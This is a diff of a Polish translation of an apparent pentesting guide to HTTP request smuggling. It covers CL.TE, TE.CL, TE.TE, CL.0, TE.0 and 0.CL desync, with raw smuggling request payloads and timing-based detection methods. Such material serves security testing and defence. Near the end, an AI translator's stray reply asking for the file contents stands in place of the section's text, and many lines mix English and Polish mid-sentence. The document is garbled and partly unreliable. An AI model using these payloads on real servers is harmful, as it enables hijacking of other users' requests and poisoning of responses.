> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||||
> Chunked means that large data is sent in a series of chunks
|
> Chunked means that large data is sent in a series of chunks
|
||||||
|
|
||||||
### Reality
|
### Rzeczywistość
|
||||||
|
|
||||||
Front-End (a load-balance / Reverse Proxy) **przetwarza** nagłówek _**Content-Length**_ lub _**Transfer-Encoding**_, a serwer **Back-end** przetwarza **drugi z nich**, powodując **desynchronizację** pomiędzy tymi dwoma systemami.\\
|
Front-End (load-balancer / Reverse Proxy) przetwarza nagłówek _**Content-Length**_ lub _**Transfer-Encoding**_, a serwer Back-end przetwarza **drugi** z nich, powodując **desynchronizację** między tymi dwoma systemami.\
|
||||||
To może być bardzo krytyczne, ponieważ **attacker** będzie w stanie wysłać jedno żądanie do reverse proxy, które będzie **interpretowane** przez serwer **back-end** **jako 2 różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że serwer **back-end** **zinterpretuje** **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a prawdziwe żądanie tego klienta stanie się **częścią** żądania wstrzykniętego.
|
To może być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do reverse proxy, które zostanie **zinterpretowane** przez serwer **back-end** **jako 2 różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że serwer **back-end** zinterpretuje **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a rzeczywiste żądanie tego klienta stanie się **częścią** żądania wstrzykniętego.
|
||||||
|
|
||||||
### Szczegóły
|
### Szczególności
|
||||||
|
|
||||||
Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**
|
Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**
|
||||||
|
|
||||||
- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej**, aby wskazać **liczbę bajtów** w **body** żądania. Oczekuje się, że body kończy się na ostatnim znaku, **nowa linia nie jest wymagana na końcu żądania**.
|
- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej**, aby wskazać **liczbę bajtów** ciała żądania. Oczekuje się, że body zakończy się ostatnim znakiem — **nie jest wymagany nowy wiersz na końcu żądania**.
|
||||||
- **Transfer-Encoding:** Ten nagłówek używa w **body** **liczby szesnastkowej**, aby wskazać **liczbę bajtów** następnego **chunka**. **Chunk** musi **kończyć się** nową linią, ale ta nowa linia **nie jest zliczana** przez wskaźnik długości. Ta metoda transferu musi zakończyć się **chunkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
|
- **Transfer-Encoding:** Ten nagłówek używa w **body** **liczby heksadecymalnej**, aby wskazać **liczbę bajtów** następnego chunku. **Chunk** musi **kończyć się** nową linią, ale ta nowa linia **nie jest wliczana** do wartości długości. Ta metoda transferu musi zakończyć się **chunkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
|
||||||
- **Connection**: Z mojego doświadczenia zaleca się używanie **`Connection: keep-alive`** w pierwszym żądaniu Request Smuggling.
|
- **Connection**: Na podstawie mojego doświadczenia zalecane jest używanie **`Connection: keep-alive`** w pierwszym żądaniu przy próbie Request Smuggling.
|
||||||
|
|
||||||
## Basic Examples
|
### Widoczne - Ukryte
|
||||||
|
|
||||||
|
Główny problem z HTTP/1.1 polega na tym, że wszystkie żądania idą po tym samym gniazdku TCP, więc jeśli wystąpi rozbieżność między 2 systemami odbierającymi żądania, możliwe jest wysłanie jednego żądania, które zostanie potraktowane jako 2 różne żądania (lub więcej) przez końcowy backend (lub nawet systemy pośredniczące).
|
||||||
|
|
||||||
|
[This blog post](https://portswigger.net/research/http1-must-die) proponuje nowe sposoby wykrywania desync attacków, które nie będą wykrywane przez WAFy. Przedstawia on koncepcję Visible vs Hidden behaviours. Celem w tym przypadku jest znalezienie rozbieżności w odpowiedziach przy użyciu technik, które mogą powodować desynchronizacje, bez faktycznego ich eksploatowania.
|
||||||
|
|
||||||
|
Na przykład, wysyłając żądanie z normalnym nagłówkiem host i nagłówkiem " host", jeśli backend narzeka na to żądanie (może dlatego, że wartość " host" jest niepoprawna), może to oznaczać, że front-end nie zauważył nagłówka " host", podczas gdy końcowy backend go użył — co z dużym prawdopodobieństwem oznacza desynchronizację między front-end a back-end.
|
||||||
|
|
||||||
|
To byłaby rozbieżność **Ukryte-Widoczne**.
|
||||||
|
|
||||||
|
Jeśli front-end uwzględni nagłówek " host", a back-end nie, mogłaby to być sytuacja **Widoczne-Ukryte**.
|
||||||
|
|
||||||
|
Na przykład, pozwoliło to odkryć desynchronizacje między AWS ALB jako front-end a IIS jako backendem. Działo się tak dlatego, że gdy wysłano "Host: foo/bar", ALB zwrócił `400, Server; awselb/2.0`, ale gdy wysłano "Host : foo/bar", zwrócił `400, Server: Microsoft-HTTPAPI/2.0`, wskazując, że backend wysłał odpowiedź. To była sytuacja Ukryte-Widoczne (H-V).
|
||||||
|
|
||||||
|
Zauważ, że to zachowanie nie jest poprawione w AWS, ale można je złagodzić ustawiając `routing.http.drop_invalid_header_fields.enabled` oraz `routing.http.desync_mitigation_mode = strictest`.
|
||||||
|
|
||||||
|
|
||||||
|
## Podstawowe przykłady
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
||||||
|
|
||||||
HTTP request smuggling attacks są tworzone przez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez front-end i back-end. Te ataki mogą przyjmować różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie tego, jak front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych skutków.
|
Ataki HTTP request smuggling są tworzone przez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w sposobie, w jaki front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą występować w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie sposobu, w jaki front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.
|
||||||
|
|
||||||
### Basic Examples of Vulnerability Types
|
### Podstawowe przykłady typów podatności
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Do powyższej tabeli należy dodać technikę TE.0, podobnie jak technikę CL.0, ale używając Transfer-Encoding.
|
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
|
||||||
|
|
||||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||||
|
|
||||||
@ -55,9 +73,9 @@ HTTP request smuggling attacks są tworzone przez wysyłanie niejednoznacznych
|
|||||||
- **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
|
- **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
|
||||||
- **Scenariusz ataku:**
|
- **Scenariusz ataku:**
|
||||||
|
|
||||||
- Atacker wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
|
- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
|
||||||
- Front-end przekazuje całe żądanie do back-end zgodnie z wartością `Content-Length`.
|
- Front-end przekazuje całe żądanie do back-endu na podstawie wartości `Content-Length`.
|
||||||
- Back-end przetwarza żądanie jako chunked z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
|
- Back-end przetwarza żądanie jako chunked z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako odrębne, kolejne żądanie.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -79,9 +97,9 @@ Foo: x
|
|||||||
- **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
|
- **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
|
||||||
- **Scenariusz ataku:**
|
- **Scenariusz ataku:**
|
||||||
|
|
||||||
- Atacker wysyła żądanie chunked, w którym rozmiar chunka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
|
- Atakujący wysyła żądanie chunked, gdzie rozmiar chunka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
|
||||||
- Front-end, honorując `Transfer-Encoding`, forwarduje całe żądanie do back-end.
|
- Front-end, honorując `Transfer-Encoding`, przekazuje całe żądanie do back-endu.
|
||||||
- Back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania (`7b` bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie.
|
- Back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania ( `7b` bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -104,12 +122,12 @@ x=
|
|||||||
|
|
||||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||||
|
|
||||||
- **Servers:** Oba obsługują `Transfer-Encoding`, ale jeden może zostać oszukany, aby go zignorować poprzez obfuskację.
|
- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może zostać oszukany, aby go zignorować poprzez obfuskację.
|
||||||
- **Scenariusz ataku:**
|
- **Scenariusz ataku:**
|
||||||
|
|
||||||
- Atacker wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`.
|
- Atakujący wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`.
|
||||||
- W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL.
|
- W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL.
|
||||||
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.
|
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smuggowania.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -132,7 +150,7 @@ Transfer-Encoding
|
|||||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||||
|
|
||||||
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
|
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
|
||||||
- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w sposobie interpretacji długości żądania przez oba serwery.
|
- Ten scenariusz zazwyczaj nie prowadzi do smuggowania, ponieważ istnieje zgodność w sposobie interpretacji długości żądania przez obie strony.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -146,8 +164,8 @@ Normal Request
|
|||||||
|
|
||||||
#### **CL.0 Scenario**
|
#### **CL.0 Scenario**
|
||||||
|
|
||||||
- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, wskazując, że body żądania zawiera treść. Back-end ignoruje nagłówek `Content-Length` (traktowany jako 0), ale front-end go parsuje.
|
- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, co wskazuje, że body żądania zawiera treść. Back-end ignoruje nagłówek `Content-Length` (traktowany jako 0), ale front-end go parsuje.
|
||||||
- Ma to kluczowe znaczenie przy zrozumieniu i tworzeniu ataków smuggling, ponieważ wpływa na to, jak serwery określają koniec żądania.
|
- Jest to istotne przy zrozumieniu i tworzeniu ataków smuggling, ponieważ wpływa na to, jak serwery określają koniec żądania.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -161,7 +179,7 @@ Non-Empty Body
|
|||||||
|
|
||||||
#### TE.0 Scenario
|
#### TE.0 Scenario
|
||||||
|
|
||||||
- Podobne do poprzedniego, ale używające TE
|
- Jak poprzedni, ale używając TE.
|
||||||
- Technika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
- Technika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
- **Przykład**:
|
- **Przykład**:
|
||||||
```
|
```
|
||||||
@ -181,19 +199,44 @@ x: X
|
|||||||
EMPTY_LINE_HERE
|
EMPTY_LINE_HERE
|
||||||
EMPTY_LINE_HERE
|
EMPTY_LINE_HERE
|
||||||
```
|
```
|
||||||
#### Zakłócanie działania serwera WWW
|
#### `0.CL` Scenariusz
|
||||||
|
|
||||||
Ta technika jest również przydatna w scenariuszach, gdzie możliwe jest **spowodowanie awarii serwera WWW podczas odczytu początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **treść** żądania HTTP będzie uznana za **następne żądanie HTTP**.
|
W sytuacji `0.CL` żądanie jest wysyłane z nagłówkiem Content-Length takim jak:
|
||||||
|
```
|
||||||
|
GET /Logon HTTP/1.1
|
||||||
|
Host: <redacted>
|
||||||
|
Content-Length:
|
||||||
|
7
|
||||||
|
|
||||||
Na przykład, jak wyjaśniono w [**this writeup**](https://mizu.re/post/twisty-python), w Werkzeug można było wysłać pewne znaki **Unicode**, co spowodowało **awarię** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, treść żądania nie zostanie odczytana, a połączenie pozostanie otwarte, więc **treść** żądania będzie traktowana jako **następne żądanie HTTP**.
|
GET /404 HTTP/1.1
|
||||||
|
X: Y
|
||||||
|
```
|
||||||
|
Front-end nie uwzględnia `Content-Length`, więc wysyła do backendu tylko pierwsze żądanie (aż do 7 w przykładzie). Natomiast backend widzi `Content-Length` i czeka na body, które nigdy nie nadchodzi, ponieważ front-end już czeka na odpowiedź.
|
||||||
|
|
||||||
|
Jeśli jednak istnieje żądanie, które można wysłać do backendu i które zostanie obsłużone przed otrzymaniem body tego żądania, to zakleszczenie nie wystąpi. W IIS na przykład dzieje się tak przy wysyłaniu żądań do zabronionych nazw jak `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), w ten sposób początkowe żądanie zostanie obsłużone bezpośrednio, a drugie żądanie będzie zawierać żądanie ofiary takie jak:
|
||||||
|
```
|
||||||
|
GET / HTTP/1.1
|
||||||
|
X: yGET /victim HTTP/1.1
|
||||||
|
Host: <redacted>
|
||||||
|
```
|
||||||
|
To jest przydatne do spowodowania desync, ale do tej pory nie miało żadnego wpływu.
|
||||||
|
|
||||||
|
Jednak post proponuje rozwiązanie, konwertując **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||||
|
|
||||||
|
#### Uszkodzenie serwera WWW
|
||||||
|
|
||||||
|
Technika ta jest też przydatna w scenariuszach, gdzie możliwe jest **break a web server while reading the initial HTTP data** ale **without closing the connection**. W ten sposób **body** of the HTTP request będzie traktowane jako **next HTTP request**.
|
||||||
|
|
||||||
|
Na przykład, jak wyjaśniono w [**this writeup**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłać kilka znaków **Unicode**, które powodowały **break** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, body żądania nie zostanie odczytane, a połączenie pozostanie otwarte, więc **body** of the request będzie traktowane jako **next HTTP request**.
|
||||||
|
|
||||||
#### Wymuszanie przez hop-by-hop headers
|
#### Wymuszanie przez hop-by-hop headers
|
||||||
|
|
||||||
Nadużywając hop-by-hop headers, można wymusić, by proxy **usunęło nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe będzie wykorzystanie HTTP request smuggling**.
|
Nadużywając hop-by-hop headers można skłonić proxy do **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||||
```
|
```
|
||||||
Connection: Content-Length
|
Connection: Content-Length
|
||||||
```
|
```
|
||||||
Po więcej informacji o **hop-by-hop headers** zobacz:
|
Aby uzyskać **więcej informacji o hop-by-hop headers**, odwiedź:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../abusing-hop-by-hop-headers.md
|
../abusing-hop-by-hop-headers.md
|
||||||
@ -201,13 +244,13 @@ Po więcej informacji o **hop-by-hop headers** zobacz:
|
|||||||
|
|
||||||
## Wykrywanie HTTP Request Smuggling
|
## Wykrywanie HTTP Request Smuggling
|
||||||
|
|
||||||
Identyfikacja podatności HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwacji, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Poza tymi metodami istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
|
Identyfikacja podatności na HTTP request smuggling często może być przeprowadzona za pomocą technik opartych na czasie, które polegają na obserwowaniu, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do odnalezienia takich podatności:
|
||||||
|
|
||||||
### Wykrywanie podatności CL.TE za pomocą technik czasowych
|
### Wykrywanie podatności CL.TE przy użyciu technik opartych na czasie
|
||||||
|
|
||||||
- **Metoda:**
|
- **Metoda:**
|
||||||
|
|
||||||
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
|
- Wyślij żądanie, które — jeśli aplikacja jest podatna — spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -223,18 +266,18 @@ A
|
|||||||
```
|
```
|
||||||
|
|
||||||
- **Obserwacja:**
|
- **Obserwacja:**
|
||||||
- Serwer front-end przetwarza żądanie w oparciu o `Content-Length` i przerywa wiadomość przedwcześnie.
|
- Serwer front-end przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie.
|
||||||
- Serwer back-end, oczekując wiadomości w formacie chunked, czeka na następny chunk, który nigdy nie nadchodzi, powodując opóźnienie.
|
- Serwer back-end, oczekując wiadomości chunked, czeka na następny chunk, który nigdy nie nadchodzi, co powoduje opóźnienie.
|
||||||
|
|
||||||
- **Wskaźniki:**
|
- **Wskaźniki:**
|
||||||
- Przekroczenia czasu (timeout) lub długie opóźnienia w odpowiedzi.
|
- Timeouty lub długie opóźnienia w odpowiedzi.
|
||||||
- Otrzymanie błędu 400 Bad Request od serwera back-end, czasami z dodatkowymi informacjami o serwerze.
|
- Otrzymywanie błędu 400 Bad Request od serwera back-end, czasem z dodatkowymi szczegółami o serwerze.
|
||||||
|
|
||||||
### Wykrywanie podatności TE.CL za pomocą technik czasowych
|
### Wykrywanie podatności TE.CL przy użyciu technik opartych na czasie
|
||||||
|
|
||||||
- **Metoda:**
|
- **Metoda:**
|
||||||
|
|
||||||
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
|
- Wyślij żądanie, które — jeśli aplikacja jest podatna — spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych.
|
||||||
- **Przykład:**
|
- **Przykład:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -249,41 +292,49 @@ X
|
|||||||
```
|
```
|
||||||
|
|
||||||
- **Obserwacja:**
|
- **Obserwacja:**
|
||||||
- Serwer front-end przetwarza żądanie w oparciu o `Transfer-Encoding` i przekazuje całe żądanie.
|
- Serwer front-end przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całe żądanie dalej.
|
||||||
- Serwer back-end, oczekując wiadomości opartej na `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.
|
- Serwer back-end, oczekując wiadomości na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie.
|
||||||
|
|
||||||
### Inne metody znajdowania podatności
|
### Inne metody wykrywania podatności
|
||||||
|
|
||||||
- **Analiza różnic odpowiedzi:**
|
- **Analiza różnic w odpowiedziach:**
|
||||||
- Wyślij lekko zmodyfikowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazywałoby na rozbieżność w parsowaniu.
|
- Wyślij nieznacznie zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazywałoby na rozbieżności w parsowaniu.
|
||||||
- **Użycie narzędzi automatycznych:**
|
- **Użycie narzędzi automatycznych:**
|
||||||
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
|
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' do Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
|
||||||
- **Testy zmienności Content-Length:**
|
- **Testy wariancji `Content-Length`:**
|
||||||
- Wyślij żądania z różnymi wartościami `Content-Length`, które nie odpowiadają rzeczywistej długości treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
|
- Wyślij żądania z różnymi wartościami `Content-Length`, które nie odpowiadają rzeczywistej długości treści, i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
|
||||||
- **Testy zmienności Transfer-Encoding:**
|
- **Testy wariancji `Transfer-Encoding`:**
|
||||||
- Wyślij żądania z obfuskowanymi lub uszkodzonymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie front-end i back-end reagują na takie manipulacje.
|
- Wyślij żądania z zniekształconymi lub niepoprawnie sformatowanymi nagłówkami `Transfer-Encoding` i obserwuj, jak różnie serwer front-end i back-end reagują na takie manipulacje.
|
||||||
|
|
||||||
|
### Nagłówek `Expect: 100-continue`
|
||||||
|
|
||||||
|
Sprawdź, jak ten nagłówek może pomóc w wykorzystaniu http desync w:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../special-http-headers.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
### Testowanie podatności HTTP Request Smuggling
|
### Testowanie podatności HTTP Request Smuggling
|
||||||
|
|
||||||
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta da się zmanipulować. Prostym sposobem jest próba poisonowania żądań, na przykład sprawienie, by żądanie do `/` zwracało odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Basic Examples](#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.
|
Po potwierdzeniu skuteczności technik opartych na czasie ważne jest sprawdzenie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia żądań — na przykład spowodowanie, aby żądanie do `/` zwróciło 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Basic Examples](#basic-examples) pokazują, jak zatrucie żądania klienta może wywołać odpowiedź 404, mimo że klient próbował uzyskać dostęp do innego zasobu.
|
||||||
|
|
||||||
**Kluczowe uwagi**
|
**Kluczowe kwestie**
|
||||||
|
|
||||||
Testując podatności request smuggling przez ingerencję w inne żądania, miej na uwadze:
|
Podczas testowania podatności na request smuggling przez ingerencję w inne żądania, pamiętaj:
|
||||||
|
|
||||||
- **Oddzielne połączenia sieciowe:** Żądania "attack" i "normal" powinny być wysłane przez oddzielne połączenia sieciowe. Wykorzystywanie tego samego połączenia dla obu nie potwierdza istnienia podatności.
|
- **Osobne połączenia sieciowe:** Żądania "attack" i "normal" powinny być wysłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
|
||||||
- **Spójny URL i parametry:** Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Współczesne aplikacje często kierują żądania do konkretnych serwerów back-end na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania zostaną obsłużone przez ten sam serwer, co jest warunkiem koniecznym do przeprowadzenia udanego ataku.
|
- **Spójny URL i parametry:** Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów back-end na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania trafią do tego samego serwera, co jest warunkiem koniecznym powodzenia ataku.
|
||||||
- **Czas i warunki wyścigu:** Żądanie "normal", mające wykryć interferencję ze strony żądania "attack", konkuruje z innymi jednoczesnymi żądaniami aplikacji. Dlatego wyślij żądanie "normal" bezpośrednio po żądaniu "attack". W przypadku obciążonych aplikacji może być konieczne wykonanie wielu prób, aby uzyskać przekonujące potwierdzenie podatności.
|
- **Warunki wyścigu i timing:** Żądanie "normal", mające na celu wykrycie ingerencji ze strony żądania "attack", konkuruje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij żądanie "normal" bezpośrednio po żądaniu "attack". W przypadku obciążonych aplikacji może być konieczne wykonanie wielu prób, aby jednoznacznie potwierdzić podatność.
|
||||||
- **Wyzwania związane z load balancingiem:** Serwery front-end działające jako load balancery mogą rozdzielać żądania między różne systemy back-end. Jeśli żądania "attack" i "normal" trafią na różne systemy, atak nie powiedzie się. Aspekt rozkładania obciążenia może wymagać kilku prób, by potwierdzić podatność.
|
- **Wyzwania związane z load balancingiem:** Serwery front-end działające jako load balancery mogą rozdzielać żądania pomiędzy różne systemy back-end. Jeśli żądania "attack" i "normal" trafią na różne systemy, atak nie powiedzie się. Ten aspekt load balancingu może wymagać kilku prób, aby potwierdzić podatność.
|
||||||
- **Nieintencjonalny wpływ na użytkowników:** Jeśli twój atak nieumyślnie wpłynie na żądanie innego użytkownika (nie tego wysłanego jako "normal"), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, dlatego należy postępować ostrożnie.
|
- **Niezamierzony wpływ na użytkowników:** Jeśli twój atak niezamierzenie wpłynie na żądanie innego użytkownika (nie na wysłane przez ciebie żądanie "normal"), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, co wymaga ostrożnego podejścia.
|
||||||
|
|
||||||
## Rozróżnianie artefaktów HTTP/1.1 pipelining a prawdziwego request smuggling
|
## Rozróżnianie artefaktów HTTP/1.1 pipelining od prawdziwego request smuggling
|
||||||
|
|
||||||
Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo tworzyć iluzje "smuggling" w narzędziach testowych, które wysyłają wiele żądań przez ten sam socket. Naucz się rozróżniać nieszkodliwe artefakty po stronie klienta od prawdziwych desynchronizacji po stronie serwera.
|
Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo powodować iluzje "smuggling" w narzędziach testujących, które wysyłają wiele żądań na tym samym gniazdku. Naucz się oddzielać nieszkodliwe artefakty po stronie klienta od prawdziwej desynchronizacji po stronie serwera.
|
||||||
|
|
||||||
### Dlaczego pipelining powoduje klasyczne fałszywe pozytywy
|
### Dlaczego pipelining powoduje klasyczne fałszywe pozytywy
|
||||||
|
|
||||||
HTTP/1.1 ponownie używa jednego połączenia TCP/TLS i konkatenizuje żądania i odpowiedzi na tym samym strumieniu. W pipelining klient wysyła wiele żądań jedno po drugim i oczekuje odpowiedzi w tej samej kolejności. Powszechnym fałszywym pozytywem jest ponowne wysłanie zniekształconego ładunku w stylu CL.0 dwukrotnie na jednym połączeniu:
|
HTTP/1.1 ponownie używa jednego połączenia TCP/TLS i konkatenizuje żądania i odpowiedzi w tym samym strumieniu. W pipeliningu klient wysyła wiele żądań jedno po drugim i polega na odpowiedziach w tej samej kolejności. Powszechny fałszywy pozytyw to ponowne wysłanie zniekształconego ładunku w stylu CL.0 dwukrotnie na jednym połączeniu:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: hackxor.net
|
Host: hackxor.net
|
||||||
@ -292,7 +343,7 @@ Content_Length: 47
|
|||||||
GET /robots.txt HTTP/1.1
|
GET /robots.txt HTTP/1.1
|
||||||
X: Y
|
X: Y
|
||||||
```
|
```
|
||||||
I don't see the README.md contents. Please paste the markdown you want translated (or confirm you want me to translate the file at src/pentesting-web/http-request-smuggling/README.md and paste its contents). I will translate visible English text to Polish, preserving all code, tags, links, refs, paths and hacking technique/platform names exactly as you requested.
|
Proszę wklej zawartość pliku README.md (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę widoczny tekst na polski, zachowując dokładnie wszystkie tagi, linki, ścieżki, kod i nazwy technik zgodnie z wytycznymi.
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
